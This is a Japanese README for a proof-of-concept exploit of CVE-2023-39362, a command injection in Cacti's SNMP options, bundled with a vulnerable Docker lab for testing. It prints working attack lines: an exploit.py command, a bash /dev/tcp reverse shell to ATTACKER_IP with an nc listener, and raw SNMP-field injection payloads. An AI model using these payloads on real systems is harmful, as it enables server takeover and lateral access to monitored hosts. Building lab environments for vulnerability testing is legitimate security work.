
CVE-2023-39362の概念実証エクスプロイト。CactiのSNMPオプションにおける認証済みコマンドインジェクションです。テスト用の脆弱性のあるDocker環境と、リバースシェル機能を備えた自動エクスプロイト用のPythonスクリプトが含まれています。
このリポジトリは以下のリポジトリからフォークされています: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
Cactiは、オープンソースの運用監視および障害管理フレームワークであり、ユーザーコミュニティの動的なニーズに応えるために継続的に進化しています。
バージョン1.2.24において、CVE-2023-39362としてマークされた潜在的なセキュリティ脆弱性が特定されました。特定の条件下で、認証された特権ユーザーがDeviceのSNMPオプションの欠陥を悪用し、悪意のある文字列を使用してコマンドインジェクションを引き起こす可能性があります。この悪用により、認証されたリモートコード実行が基盤となるサーバー上で発生します。
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
この脆弱性の影響は深刻であり、認証された権限を持つ悪意のある行為者がCactiをホストするサーバーの完全性を侵害する可能性があります。この侵害は、ネットワーク内の他のホスト、特にCactiによって監視されているホストへの不正アクセスのゲートウェイとなる可能性があります。
これは、Cactiの脆弱性(CVE-2023-39362)のエクスプロイトをテストするための脆弱なアプリケーションです。
このアプリケーションには重大なセキュリティ脆弱性が含まれています。自己責任で実行してください!バックアップがあり隔離された環境(最近のスナップショットとホストオンリーネットワークを備えたVMなど)を使用することを推奨します。このアプリケーションをインターネットに公開されているサーバーにアップロードしないでください。それらのサーバーは侵害されます。
私は、誰かがこのアプリケーションを使用する方法について一切責任を負いません。このアプリケーションの唯一の目的はCVE-2023-39362エクスプロイトのテストシナリオであり、悪意を持って使用されるべきではありません。このアプリケーションのインストールを介してサーバーが侵害された場合、それは私の責任ではなく、アップロードしてインストールした人物(複数可)の責任です。**
環境をセットアップする手順は以下の通りです:
docker compose up -dを実行してコンポジションを起動します。admin/adminです。adminとしてログインします。guestユーザーをクリックします。guestとして再ログインしてエクスプロイトを試します。Cactiの公式インストールガイドはこちらにあります。
環境を破棄するには、docker compose downコマンドを使用します。
(これは悪用のための1つの可能な経路にすぎません)
リモートサーバーでコマンドを実行します:
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
リバースシェルを開く:
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'。/tmpの下に作成されたファイルが存在することを確認します。リバースシェルを取得するには、以下のようなペイロードを使用できます。
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
脆弱性の詳細な根本原因は、元のセキュリティアドバイザリまたは原作者のブログ記事で入手できます。
このプロジェクトはUnlicenseの下でライセンスされています - 詳細はLICENSEファイルを参照してください。